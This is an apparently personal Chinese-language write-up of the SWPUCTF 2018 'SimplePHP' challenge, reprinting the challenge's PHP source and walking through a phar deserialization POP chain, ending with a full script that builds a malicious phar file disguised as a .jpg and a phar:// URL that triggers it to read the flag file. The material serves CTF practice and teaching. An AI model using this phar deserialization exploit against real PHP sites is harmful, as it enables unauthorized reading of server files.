SWPUCTF-2018-SimplePHP

[SWPUCTF 2018]SimplePHP

进入题目,有一个file参数,尝试一下伪协议,无果……

结果直接读可以读出来

file.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>

function.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php 
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
1
<!--flag is in f1ag.php-->

反序列化,但是没有反序列化利用点……

phar反序列化

https://www.cnblogs.com/zzjdbk/p/13030571.html

结合文件上传中的文件操作函数,可以利用phar中以反序列化方式储存的meta-data进行反序列化。在文件操作函数进行phar解析时,meta-data的数据也会一同解析。

开始找pop链:

先找魔法方法……__destruct()、__wakeup()、__toString()……

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()//析构,脚本结束自动调用
{
$this->test = $this->str;
echo $this->test;//toString
}
}
1
2
3
4
5
public function __toString()
{
$content = $this->str['str']->source;//属性调用-》get
return $content;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}

最后来到file_get_contents进行文件读取

构建脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

class C1e4r
{
public $test;
public $str;
}

class Show
{
public $source;
public $str;
}

class Test
{
public $file;
public $params;
}

$a = new C1e4r();
$b = new Show();
$c = new Test();

$c->params['source'] = "/var/www/html/f1ag.php";
$b->str['str'] = $c;
$a->str = $b;

$phar = new Phar("test.phar"); //创建.phar文件
$phar->startBuffering();//写入缓冲
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定
$phar->setMetadata($a); //传入C1e4r对象
$phar->addFromString("test.txt", "test"); //生成签名
$phar->stopBuffering();

需要修改php.ini中的phar.readonly,且一定要去掉前面的分号!……

上传文件名:$filename = md5($_FILES[“file”][“name”].$_SERVER[“REMOTE_ADDR”]).”.jpg”;

move_uploaded_file($_FILES[“file”][“tmp_name”],”upload/“ . $filename); 转移到指定的upload目录

生成phar后改后缀为jpg,上传

image-20210504164131263

用phar协议去读取:

phar://upload/febdf38ac03e62cb8f05d46cefefd732.jpg

image-20210504164935877

得到flag……

作者

inanb

发布于

2021-05-04

更新于

2021-08-23

许可协议


:D 一言句子获取中...